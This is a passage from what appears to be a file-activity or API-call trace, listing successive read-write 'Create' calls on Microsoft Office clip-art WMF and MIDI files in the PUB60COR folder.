Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01366_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01434_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01585_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01586_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01628_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01629_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01630_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01631_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01761_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01772_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01793_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EAST_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00010_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00019_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00172_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00184_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00006_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00202_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00222_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00242_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00319_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00320_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00397_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00902_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EXPLR_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FALL_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00074_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00076_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00077_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00086_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00090_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00096_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00296_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00297_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00306_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00336_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00361_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00369_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00382_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00397_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00403_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00414_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00419_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00428_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00435_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00438_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00455_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00459_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00543_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00544_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00564_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00586_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00775_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00779_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00799_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00814_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00965_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01074_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01084_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01176_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01191_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01193_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01196_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01548_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01657_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01658_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01659_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01660_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02068_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02071_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02075_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02088_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02097_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02115_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02116_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02141_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02153_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02158_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02161_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FINCL_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FINCL_02.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FLAP.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\GRDEN_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\GRID_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00057_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00084_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00231_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00235_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00236_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00241_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00260_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00276_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00334_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00443_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00513_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00524_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00526_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00527_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00546_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00601_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00602_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00612_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00623_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00625_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00636_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00669_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00681_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00685_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00687_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00688_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00693_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01013_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01015_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01058_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01065_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01080_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01242_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01291_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01329_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01461_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01618_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01759_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01875_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01923_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02155_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02166_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02282_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02298_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02312_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH02313_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00005_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00114_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00116_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00172_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HM00426_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HTECH_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00046_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00118_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00177_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00204_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00233_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00343_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00346_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00351_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00557_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00915_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00919_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00956_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\IN00957_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\INDST_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0075478.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086384.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0086420.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
